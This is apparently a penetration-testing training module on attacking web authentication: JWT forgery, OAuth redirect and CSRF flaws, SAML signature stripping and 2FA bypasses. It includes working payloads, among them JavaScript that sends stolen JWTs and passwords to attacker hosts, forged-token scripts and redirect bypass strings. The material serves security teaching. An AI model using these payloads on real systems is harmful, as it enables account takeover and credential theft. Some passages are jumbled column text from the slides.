Web Application

Penetration Testing
eXtreme

Attacking Authentication & SSO

S e c t i o n 0 1 | M o d u l e 1 3
© Caendra Inc. 2020
All Rights Reserved
Table of Contents

MODULE 13 | Attacking Authentication & SSO

13.1 Authentication in Web Apps 13.4 Attacking SAML

13.2 Attacking JWT 13.5 Bypassing 2FA

13.3 Attacking Oauth

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.2

Learning Objectives

By the end of this module, you should have a better

understanding of:

✓ How to attack modern authentication and SSO

implementations
✓ The weak spots of JWT, SAML, OAuth and 2FA

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.3

 13.1

Authentication in
Web Apps

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.4

13.1.1 Authentication in Web Apps

Authentication is the process of confirming a user's

identity. Authentication in web applications is performed
through user credentials and/or a secret token/pin code.

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.5

13.1.1 Authentication in Web Apps

The most known attacks against authentication are:

• Brute Force / Dictionary Attack
• SQL Injection
• Weak/Predictable Session ID
• Subdomain takeover

https://hackerone.com/reports/172137 WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.6

13.1.1 Authentication in Web Apps
Modern web applications utilize authentication/authorization
mechanisms which provide Single-Sign-On (SSO) and similar
features for sharing access with multiple applications.

• JSON Web Tokens (JWT):RFC7519: A compact mechanism

used for transferring claims between two parties.
• OAuth:RFC6749: Access delegation framework, usually used
for providing application access to other applications without
password sharing. OAuth 2.0 is not an authentication protocol.
• Security Assertion Markup Language (SAML):RFC7522: An
XML based single sign-on login standard.
WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.7
13.1.1 Authentication in Web Apps
Modern web applications also utilize an extra layer of defense when it comes to
authentication, 2 Factor Authentication (2FA).

2FA is a method to verify a user’s identity by utilizing a combination of two

different factors.
• Something you know (password)
• Something you have (OTP)
• Something you are (biometric)

Usual 2FA Bypasses:

• Brute Force (when a secret of limited length is utilized)
• Less common interfaces (mobile app, XMLRPC, API instead of web)
• Forced Browsing
• Predictable/Reusable Tokens
WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.8
 13.2

Attacking JWT

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.9

13.2.1 JSON Web Tokens (JWT)
• JSON Web Token (JWT)
usually appear to users as
JSON objects and can be
signed to protect the integrity
of the underlying message
using a Message
Authentication Code (MAC)
and/or encrypted.
• When a JWT is signed you
may see it referred to as JWS.
• A JWT consists of three parts;
an encoded Header, an
encoded Payload and the
Signature.
https://jwt.io/introduction/ WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.10
13.2.1 JSON Web Tokens (JWT)

• The header contains info

about the token.
• The payload contains the
actual data.
• For the signature to be
created we need to encode
both the header and the
payload using Base64 URL
encoding, then we combine
them with a dot (.).
WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.11
13.2.1 JSON Web Tokens (JWT)

To sign an unsigned token, the process is as follows.

unsignedToken = encodeBase64(header) + '.' +

encodeBase64(payload)

signature_encoded = encodeBase64(HMAC-
SHA256("secret", unsignedToken))

jwt_token = encodeBase64(header) + "." +

encodeBase64(payload) + "." + signature_encoded
WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.12
13.2.2 JWT Security Facts

❑ JWT is not vulnerable to CSRF (except when JWT is put

in a cookie)
❑ Session theft through an XSS attack is possible when
JWT is used
❑ Improper token storage (HTML5 storage/cookie)
❑ Sometimes the key is weak and can be brute-forced
❑ Faulty token expiration
❑ JWT can be used as Bearer token in a custom
authorization header
WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.13
13.2.2 JWT Security Facts

❑ JWT is being used for stateless applications. JWT usage

results in no server-side storage and database-based
session management. All info is put inside a signed JWT
token.
▪ Only relying on the secret key
▪ Logging out or invalidating specific users is not possible due
to the above stateless approach. The same signing key is
used for everyone.

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.14

13.2.2 JWT Security Facts

❑ JWT-based authentication can become insecure when client-

side data inside the JWT are blindly trusted
▪ Many apps blindly accept the data contained in the payload (no
signature verification)
▪ Try submitting various injection-related strings
▪ Try changing a user’s role to admin etc.
▪ Many apps have no problem accepting an empty signature
(effectively no signature)
▪ The above is also known as “The admin party in JWT”
▪ This is by design, to support cases when tokens have already been
verified through another way
▪ When assessing JWT endpoints set the alg to none and specify
anything in the payload

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.15

13.2.2 JWT Security Facts

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.16

13.2.2 JWT Security Facts

An interesting resource that consolidates a lot of JWT

security information is the below.

https://www.reddit.com/r/netsec/comments/dn10q2/pract
ical_approaches_for_testing_and_breaking_jwt/

https://www.reddit.com/r/netsec/comments/dn10q2/practical_approach WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.17

es_for_testing_and_breaking_jwt/
13.2.2 JWT Security Facts

There is a variety of tools for assessing/attacking JWT. For

example https://github.com/KINGSABRI/jwtear.

HMAC SHA256 signed token creation example:

jwtear –-generate-token –-header '{"typ":"JWT","alg":"HS256"}'
--payload '{"login":"admin"}' --key 'cr@zyp@ss'

Empty signature token creating example:

jwtear –-generate-token –-header '{"typ":"JWT","alg":"none"}'
--payload '{"login":"admin"}'

https://github.com/KINGSABRI/jwtear WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.18

13.2.2 JWT Security Facts

Testing for injection example:

jwtear –-generate-token –-header '{"typ":"JWT","alg":"none"}'
--payload $'{"login":"admin\' or \'a\'=\'a"}'

$ is used to escape single quotes.

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.19

13.2.3 JWT Attack Scenario 1

require 'base64'
require 'openssl'

In case we want
to try brute- jwt = "jwt_goes_here"

forcing/guessing
header, data, signature = jwt.split(".")

def sign(data, secret)

the secret used Base64.urlsafe_encode64(OpenSSL::HMAC.digest(OpenSSL::Digest.new("sha256"),
secret, data)).gsub("=","")

to sign a token, end

File.readlines("possible_secrets.txt").each do |line|

we can do so as
line.chomp!
if sign(header+"."+data, line) == signature
puts line
follows, in Ruby. exit
end
end

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.20

13.2.4 JWT Attack Scenario 2

When attacking authentication through an XSS vulnerability,

we usually try to capture a victim’s cookie as follows.
<script>alert(document.cookie)</script>

When JWT is employed and localStorage is used, we can

attack authentication through XSS using JSON.stringify.
<img src=’https://<attacker-
server>/yikes?jwt=’+JSON.stringify(localStorage);’--!>

Credit for the payload to David Roccasalva WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.21
13.2.4 JWT Attack Scenario 2

If you obtain an IdToken, you can use it to authenticate and

impersonate the victim.

If you obtain an accessToken, you can use it to generate a

new IdToken with the help of the authentication endpoint.

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.22

13.2.5 JWT Attack Scenario 3
Let’s now go through the solution of a Bitcoin CTF web challenge that
included JWT. Specifically,
• Upon successful login, the user is issued a JWT inside a cookie
• HS256 is used
• A user named admin exists
• One of the fields in the JWT header, kid, is used by the server to
retrieve the key and verify the signature. The problem is that no
proper escaping takes place while doing so.

If an attacker manages to control or inject to kid, he will be able to

create his own signed tokens (since kid is essentially the key that is
used to verify the signature).
WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.23
13.2.5 JWT Attack Scenario 3

What we can do, is inject to kid and specify a value that

resides on the web server and can be predicted (as well as
retrieved by the server of course).
• Through provoking errors we identified that the application is
using Sinatra under the hood.
• Such a value could be “public/css/bootstrap.css”  This value
comes from Sinatra’s documentation/best practices and it is a
legitimate value since no proper escaping occurs while retrieving
kid.

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.24

13.2.5 JWT Attack Scenario 3

header = '{"typ":"JWT","alg":"HS256","kid":"public/css/bootstrap.css"}'
payload = '{"user":"admin"}'

require 'base64'
require 'openssl'
A ruby-based
data = Base64.strict_encode64(header)+"."+
exploit can be Base64.strict_encode64(payload)
data.gsub!("=","")
seen on your secret = File.open("bootstrap.css").read
right. signature =
Base64.urlsafe_encode64(OpenSSL::HMAC.digest(OpenSSL::Digest.new("sha25
6"), secret, data))

Puts data+"."+signature

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.25

13.2.5 JWT Attack Scenario 3

header = '{"typ":"JWT","alg":"HS256","kid":"kkkkkkkkkk\' UNION SELECT

\' xyz"}'
payload = '{"user":"admin"}'

An alternative require 'base64'

ruby-based require 'openssl'

exploit for this data = Base64.strict_encode64(header)+"."+

Base64.strict_encode64(payload)

challenge can
data.gsub!("=","")

be seen on your
secret = "xyz"

right.
signature =
Base64.urlsafe_encode64(OpenSSL::HMAC.digest(OpenSSL::Digest.new("sha25
6"), secret, data))

Puts data+"."+signature

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.26

 13.3

Attacking OAuth

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.27

13.3.1 OAuth

OAuth2 is the main web standard for authorization between

services. It is used to authorize 3rd party apps to access
services or data from a provider with which you have an
account.

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.28

13.3.1 OAuth
OAuth Components
• Resource Owner: the entity that can grant access to a protected
resource. Typically this is the end-user.
• Client: an application requesting access to a protected resource on
behalf of the Resource Owner. This is also called a Relying Party.
• Resource Server: the server hosting the protected resources. This is
the API you want to access, in our case gallery.
• Authorization Server: the server that authenticates the Resource
Owner, and issues access tokens after getting proper authorization.
This is also called an identity provider (IdP).
• User Agent: the agent used by the Resource Owner to interact with
the Client, for example a browser or a mobile application.
WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.29
13.3.1 OAuth

OAuth Scopes (actions or privilege requested from the

service – visible through the scope parameter)
• Read
• Write
• Access Contacts

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.30

13.3.1 OAuth
In OAuth 2.0, the interactions between the user and her browser, the Authorization
Server, and the Resource Server can be performed in four different flows.

1. The authorization code grant: the Client redirects the user (Resource Owner) to
an Authorization Server to ask the user whether the Client can access her
Resources. After the user confirms, the Client obtains an Authorization Code
that the Client can exchange for an Access Token. This Access Token enables
the Client to access the Resources of the Resource Owner.
2. The implicit grant is a simplification of the authorization code grant. The Client
obtains the Access Token directly rather than being issued an Authorization
Code.
3. The resource owner password credentials grant enables the Client to obtain an
Access Token by using the username and password of the Resource Owner.
4. The client credentials grant enables the Client to obtain an Access Token by
using its own credentials.
WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.31
13.3.1 OAuth

Clients can obtain Access Tokens via four different flows.

Clients use these access tokens to access an API.

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.32

13.3.1 OAuth

The access token is almost always a bearer token.

Some applications use JWT as access tokens.

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.33

13.3.2 Common OAuth Attacks
Let’s now go through the most common
OAuth attacks.

• We have a web site that enables

users to manage pictures, named
gallery (similar to flickr).
• We have a third-party website that
allows users to print the pictures
hosted at the gallery site, named
photoprint.

OAuth takes care of giving third-party

applications permission to access the
pictures.

We will focus on the most common

attacks, for more please refer to
https://tools.ietf.org/html/rfc6819
Credits to https://koen.buyens.org/ for this playground

https://tools.ietf.org/html/rfc6819 WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.34

13.3.2 Common OAuth Attacks
Capture the URL the OAuth client uses to communicate with the authorization endpoint.
Unvalidated RedirectURI
Parameter http://gallery:3005/oauth/authorize?response_type=code&redirect_uri=http%3A%2F%2
If the authorization server does Fphotoprint%3A3000%2Fcallback&scope=view_gallery&client_id=photoprint
not validate that the redirect
URI belongs to the client, it is Change the value of the redirect_uri parameter.
susceptible to two types of http://gallery:3005/oauth/authorize?response_type=code&redirect_uri=http%3A%2F%2
attacks. Fattacker%3A1337%2Fcallback&scope=view_gallery&client_id=photoprint
• Open Redirect • If the redirect URI accepts external URLs, such as accounts.google.com, then use
• Account hijacking by a redirector in that external URL to redirect to any
stealing authorization website https://accounts.google.com/signout/chrome/landing?continue=https://
codes. If an attacker appengine.google.com/_ah/logout?continue%3Dhttp://attacker:1337
redirects to a site under
their control, the • Use any of the regular bypasses
authorization code - which • http://example.com%2f%2f.victim.com
is part of the URI - is given • http://example.com%5c%5c.victim.com
to them. They may be able • http://example.com%3F.victim.com
to exchange it for an
access token and thus get • http://example.com%23.victim.com
access to the user's • http://victim.com:80%40example.com
resources. • http://victim.com%2eexample.com

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.35

13.3.2 Common OAuth Attacks
Weak Authorization Intercept the request that the OAuth 2.0 client sends to the OAuth 2.0 Authorization
Endpoint.
Codes
Send the request to Burp’s Sequencer. Select “live capture’ and then click “Analyze
If the authorization now”. The results will inform you whether you are dealing with weak auth codes or not.
codes are weak, an
attacker may be
able to guess them
at the token
endpoint. This is
especially true if the
client secret is
compromised, not
used, or not
validated.
WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.36
13.3.2 Common OAuth Attacks
Intercept the request that the OAuth 2.0 client sends to the OAuth 2.0 Authorization
Everlasting Endpoint.

Authorization Send the request to Burp’s “Session Timeout Test” plugin. Configure the plugin by
Codes selecting a matching string that indicates the authorization code is invalid (typically
'Unauthorized') and a minimum timeout of 31 minutes.
Expiring unused
authorization codes
limits the window in
which an attacker
can use captured or
guessed
authorization codes,
but that’s not always
the case.
WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.37
13.3.2 Common OAuth Attacks
Obtain an authorization code (guessed or captured) for an OAuth 2.0 client and
Authorization exchange with another client.
Codes Not Bound to
Client POST /oauth/token HTTP/1.1
An attacker can host: gallery:3005
Content-Length: 133
exchange captured Connection: close
or guessed
authorization codes code=9&redirect_uri=https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2Fphotoprint%3A3000%2Fcallback&grant_typ
e=authorization_code&client_id=maliciousclient&client_secret=secret
for access tokens
by using the
credentials for
another, potentially
malicious, client.
WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.38
13.3.2 Common OAuth Attacks
Analyze the entropy of multiple captured tokens. Note that it is hard to capture tokens
Weak Handle- for clients that are classic web applications as these tokens are communicated via a
back-channel1. Identity the location of the token endpoint. Most OAuth servers with
Based Access and openID/Connect support publish the locations of their endpoints at https://[base-
server-url]/.well-known/openid-configuration or at https://[base-server-url]/.well-
Refresh Tokens known/oauth-authorization-server. If such endpoint is not available, the token endpoint
is usually hosted at token.

If the tokens are 1. Make requests to the token endpoint with valid authorization codes or refresh tokens
and capture the resulting access tokens. Note that the client ID and secret are typically
weak, an attacker required. They may be in the body or as a Basic Authorization header.

may be able to POST /token HTTP/1.1

host: gallery:3005
guess them at the Content-Length: 133

resource server or Connection: close

the token code=9&redirect_uri=https%3A%2F%2Ffanyv88.com%3A443%2Fhttp%2Fphotoprint%3A3000%2Fcallback&

grant_type=authorization_code&client_id=maliciousclient&client_secret=s
endpoint. ecret

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.39

13.3.2 Common OAuth Attacks
Analyze the entropy of multiple captured tokens. Note that it is hard to capture tokens
Weak Handle- for clients that are classic web applications as these tokens are communicated via a
back-channel1. Identity the location of the token endpoint. Most OAuth servers with
Based Access and openID/Connect support publish the locations of their endpoints at https://[base-
server-url]/.well-known/openid-configuration or at https://[base-server-url]/.well-
Refresh Tokens known/oauth-authorization-server. If such endpoint is not available, the token endpoint
is usually hosted at token.
If the tokens are
2. Analyze the entropy of these tokens using the same approach as described in weak
weak, an attacker authorization codes. Alternatively, brute-force the tokens at the resource server if
you have a compromised client secret or if the client secret is not necessary. The
may be able to attacker above followed this approach.

guess them at the

resource server or
the token
endpoint.
WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.40
13.3.2 Common OAuth Attacks
Insecure Storage of To validate this as a tester, obtain the contents of the database via a NoSQL/SQL
Handle-Based injection attack, and validate whether the tokens have been stored unhashed. Note that
it is better to validate this using a code review.
Access and Refresh
Tokens
If the handle-based
tokens are stored as
plain text, an
attacker may be
able to obtain them
from the database
at the resource
server or the token
endpoint.
WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.41
13.3.2 Common OAuth Attacks
Exchange a refresh token that was previously issued for one client with another client.
Refresh Token not Note, this requires access to multiple clients and their client secrets.
Bound to Client
If the binding between a
refresh token and the
client is not validated, a
malicious client may be
able to exchange
captured or guessed
refresh tokens for
access tokens. This is
especially problematic
if the application allows
automatic registration
of clients.

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.42

13.3.3 OAuth Attack Scenario 2

In this attack scenario, we will show you how an OAuth-

based XSS vulnerability was chained with an insecure X-
Frame-Options header and an enabled Autocomplete
functionality to provide the attacker with User/Admin
credentials. This attack was discovered when pentesting
the first iterations of the Open Bank Project (OBP).

The rest of the application sanitized user input extremely

well. The OAuth implementation was the only weak spot!
WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.43
13.3.3 OAuth Attack Scenario 2
Step 0: During our testing activities, we identified that the redirectUrl parameter is
vulnerable to reflected cross-site scripting (XSS) attacks due to inadequate
sanitization of user supplied data.
• Vulnerable parameter: 'redirectUrl'
• Page resource: 'http://openbankdev:8080/oauth/thanks'
• Attack vector: http://openbankdev:8080/oauth/thanks?redirectUrl=[JS attack
vector]

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.44

13.3.3 OAuth Attack Scenario 2
Step 1: The following image displays that we were able to load a malicious
JavaScript into the vulnerable OBP web page from an external location. The payload
depicted is jQuery specific.

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.45

13.3.3 OAuth Attack Scenario 2
Step 2: Utilizing the injected JavaScript we created an invisible iframe that contained
OBP’s login page. That was possible due to the fact that the X-Frame-Options header
of OBP’s login page was set to the SAMEORIGIN value.

var iframe = document.createElement('iframe');

iframe.style.display = "none";
iframe.src = "http://openbankdev:8080/user_mgt/login";
document.body.appendChild(iframe);

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.46

13.3.3 OAuth Attack Scenario 2
Step 3: We finally injected the following JavaScript code to access the iframe's
forms that contained user credentials due to the fact that Autocomplete
functionality was not explicitly disabled.

javascript: var p=r(); function r(){var g=0;var x=false;var

x=z(document.forms);g=g+1;var w=window.frames;for(var
k=0;k<w.length;k++) {var x = ((x) ||
(z(w[k].document.forms)));g=g+1;}if (!x) alert('Password not found in
' + g + ' forms');}function z(f){var b=false;for(var
i=0;i<f.length;i++) {var e=f[i].elements;for(var j=0;j<e.length;j++)
{if (h(e[j])) {b=true}}}return b;}function h(ej){var s='';if
(ej.type=='password'){s=ej.value;if
(s!=''){location.href='http://attacker.domain/index.php?pass='+s;}els
e{alert('Password is blank')}return true;}}

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.47

13.3.3 OAuth Attack Scenario 2
Step 5: A previously set up netcat listener received the target user’s password.

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.48

13.3.3 OAuth Attack Scenario 2
Bonus step: We also chained the abovementioned OAuth-based XSS vulnerability
with the insufficiently secure X-Frame-Options header of the "Get API Key" page
(which was set to SAMEORIGIN) and a CSRF vulnerability on the API creation
functionality.
var iframe = <html>
document.createElement(' <body>
<form action="http://openbankdev:8080/consumer-registration" method="POST">
iframe'); <input type="hidden" name="app&#45;type" value="Web" />
<input type="hidden" name="app&#45;name" value="Unwanted&#32;App" />
iframe.style.display = <input type="hidden" name="app&#45;developer"
value=“dim&#95;test&#64;hotmail&#46;com" />
"none"; <input type="hidden" name="app&#45;description"
value="Unwanted&#32;App&#32;creation&#46;" />
iframe.src = <input type="submit" value="Submit request" />

"http://attackercontroll </form>
<script>
ed.com/malicious.html"; document.forms[0].submit();
</script>
document.body.appendChil </body>
</html>
d(iframe);
WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.49
13.3.3 OAuth Attack Scenario 2
Bonus step: We finally injected a JavaScript function, similar to then one used for
the remote credential theft attack, to access the iframe's contents including the
created application’s API key. This time, a remote API key theft attack occurred.

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.50

13.3.4 OAuth Attack Scenario 3
Attacking the ‘Connect’ Step 1: The attacker creates a dummy account with some Provider.

request Step 2: The attacker commences the ‘Connect’ process with the Client using the dummy
This attack exploits the account on the Provider, but stops the redirect mentioned in request 3 (of the Authorization code
grant flow). The Client has been granted access by the attacker to his/her resources on the
first request (when a Provider but the Client doesn’t know that.
user clicks the ‘Connect’
or ‘Sign in with’ button). Step 3: A malicious webpage is created that:
• By means of a CSRF attack logs out the user on the Provider
Users are many times • By means of a CSRF attack logs in the user on the Provider with the credentials of the
allowed by websites to attacker dummy account.
connect additional • Using an iframe, spoofs the 1st request to connect the Provider account with the Client.
accounts like Google, Step 4: Once the victim visits the attacker’s malicious page all parts of Step 3 are performed.
using OAuth. An The ‘Connect’ request is then issued. The attacker’s dummy account is now connected with the
attacker can gain victim’s account on the Client. No granting access message will be displayed due to the
attacker’s actions on Step 2.
access to the victim’s
account on the Client by Step 5: The attacker can log in to the victim’s account on the Client by signing in with the dummy
connecting one of account on the Provider.

his/her own account

(on the Provider). Credits Dhaval Kapil

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.51

13.3.5 OAuth Attack Scenario 4
CSRF on the Authorization
Response Step 1: The attacker creates a dummy account with some Provider.
OAuth 2.0 provides security Step 2: The attacker commences the ‘Connect’ process with the Client using the
against CSRF-like attacks dummy account on the Provider, but stops the redirect mentioned in request 3 (of the
through the state Authorization code grant flow). The Client has been granted access by the attacker to
parameter. This parameter his/her resources on the Provider but the Client doesn’t know that. The attacker saves
is passed in the 2nd and the authorization_code
3rd request of the OAuth
“dance”. It acts like a CSRF Step 3: The attacker forces the victim to make a request to:
token. https://client.com/<provider>/login?code=AUTH_CODE. This can be done for example
when the victim visits a webpage containing any img or script tag with the above URL as
In newer implementations src.
of OAuth, this parameter is
not required and is Step 4: If the victim is logged in the Client, the attacker’s dummy account is now
optional. connected to his/her account.
If you come across in an
implementation where this Step 5: The attacker can now log in to the victim’s account on the Client by signing in
with the dummy account on the Provider.
parameter isn’t utilized, you
can try the attack flow on
your right. Credits Dhaval Kapil

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.52

 13.4

Attacking SAML

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.53

13.4.1 Security Assertion Markup Language
(SAML)
In SAML-based authentication the user provides credentials at a
login interface. Based on these credentials the identity provider
(IDP) provides a SAML response containing assertions with
NameID attributes, which in turn contain user information and a
signed message in XML.

The base64-encoded XML document is further passed on to the

service the user needs to access. The service provider (SP)
validates the provided XML and allows access to user based on
the validity.
WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.54
13.4.1 Security Assertion Markup Language
(SAML)
SAML Workflow

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.55

13.4.1 Security Assertion Markup Language
(SAML)
SAML Response

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.56

13.4.2 SAML Security Considerations
❑ An attacker may interfere during step 5 in the SAML Workflow and
tamper with the SAML response sent to the service provider (SP).
Values of the assertions released by IDP may be replaced this way.

❑ An insecure SAML implementation may not verify the signature,

allowing account hijacking.

❑ An XML canonicalization transform is employed while signing the

XML document, to produce the identical signature for logically or
semantically similar documents.
▪ In case a canonicalization engine ignores comments and whitespaces
while creating a signature the XML parser will return the last child node
https://developer.okta.com/blog/2018/02/27/a-breakdown-of-the-new-saml- WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.57
authentication-bypass-vulnerability#cryptographic-signing-issues
13.4.3 SAML Attack Scenario

Suppose that we are assessing a SAML implementation.

We want to check if an attacker is able to successfully
tamper with the SAML response sent to the service provider
(SP). In essence, we want to check if an attacker can
replace the values of the assertions released by the IDP.

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.58

13.4.3 SAML Attack Scenario
So, we copy the SAMLResponse …

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.59

13.4.3 SAML Attack Scenario
… and programmatically
change the username in
the XML to one of an
identified admin. The
attack wasn’t successful.

Does this mean that the

SAML implementation is
secure? Let’s try
performing a signature
stripping attack before
saying so.
WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.60
13.4.3 SAML Attack Scenario

During signature stripping attacks against SAML, we

simply remove the value of SignatureValue (the tag
remains).

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.61

13.4.3 SAML Attack Scenario

All we have to do is encode everything again and submit

our crafted SAMLResponse. To our surprise, the remote
server accepted our crafted request letting us log in as the
targeted admin user!

Have signature stripping attacks in mind, when assessing

SAML implementations.

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.62

13.4.3 SAML Attack Scenario

Two great resource on attacking SAML can be found below.

http://www.economyofmechanism.com/github-saml
https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-
to-test-saml-a-methodology-part-two/

In addition, find below a great Burp extension that is related

to a variety of SAML attacks.
https://portswigger.net/bappstore/c61cfa893bb14db4b01
775554f7b802e
http://www.economyofmechanism.com/github-saml
https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/
WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.63
https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e
 13.5

Bypassing 2FA

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.64

13.5.1 2FA Bypasses

As already discussed in the beginning of this module

common 2FA bypasses include:

• Brute Force (when a secret of limited length is utilized)

• Less common interfaces (mobile app, XMLRPC, API
instead of web)
• Forced Browsing
• Predictable/Reusable Tokens
WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.65
13.5.1 2FA Bypasses

We will provide you with two examples of bypassing 2FA

using less common interfaces.
Specifically, we will show you:
1. How attackers usually bypass 2FA during MS Exchange
attacks
2. How we were able to bypass the 2FA implementation of
a stock/insurance management website

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.66

13.5.2 2FA Bypass Scenario 1
Valid credentials are not enough in case an account has
Two Factor Authentication (2FA) configured. We will have
to find a way to get around this protection mechanism.

Fortunately for a Red Team member, a great number of 2FA

software vendors do not cover all available protocols of a
solution.

This was the case with Microsoft’s Exchange.

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.67
13.5.2 2FA Bypass Scenario 1

Specifically, access to OWA can be protected by 2FA but a

mailbox may be accessed via EWS, without entering any
2FA-derived One Time Password.

Exchange Web Services (EWS) is a remote access protocol.

It is essentially SOAP over HTTP and is used prevalently
across applications, Windows mobile devices etc., and
especially in newer versions of Exchange.
WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.68
13.5.2 2FA Bypass Scenario 1

Such an attack against Exchange can be performed using

the MailSniper tool, as follows (after identifying valid
credentials).

>> Import-Module .\MailSniper.ps1

>> Invoke-SelfSearch -Mailbox [email protected] -

ExchHostname mail.domain.com -remote

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.69

13.5.2 2FA Bypass Scenario 1
Trying the above tool on our testing domain, “ELS”, against
the 2FA protected [email protected] account returned
the following. Access to the user’s mailbox was achieved
using only the identified credentials. 2FA was successfully
subverted.

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.70

13.5.3 2FA Bypass Scenario 2

During an external penetration test, we came across a 2FA

implementation on a web application that was related to
stock/insurance management. As part of the assessment,
we tried to bypass the 2FA implementation by leveraging
the fact that the mobile “channel” didn’t offer a 2FA option.

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.71

13.5.3 2FA Bypass Scenario 2

The attack scenario was:

A malicious non-2FA user somehow finds a 2FA-user's
credentials (for example through a social engineering
attack). The malicious user wants to login, using the
acquired credentials, through the web application and not
through the mobile application since the web application
has additional functionality. To achieve that he will have to
find a way to bypass the Two Factor Authentication
mechanism in place.
WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.72
13.5.3 2FA Bypass Scenario 2
Our approach to bypass 2FA was as follows:
Step 1: We logged in through the mobile application as a non-2FA user
(the attacker), wrote down the encrypted CSRF token for later use and
kept the session alive.

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.73

 13.5.3 2FA Bypass Scenario 2
Step 2: We initiated a login sequence as the 2FA user, whose credentials were
acquired, through the web application but manipulated the login sequence requests
so that they were processed through the mobile applications' backend. During the
abovementioned login sequence manipulation steps we used the cookie values
supplied by the web application's backend.

Original

Edited

WAPTXv2: Section 01, Module 13 - Caendra Inc. © 2020 | p.74

 13.5.3 2FA Bypass Scenario 2
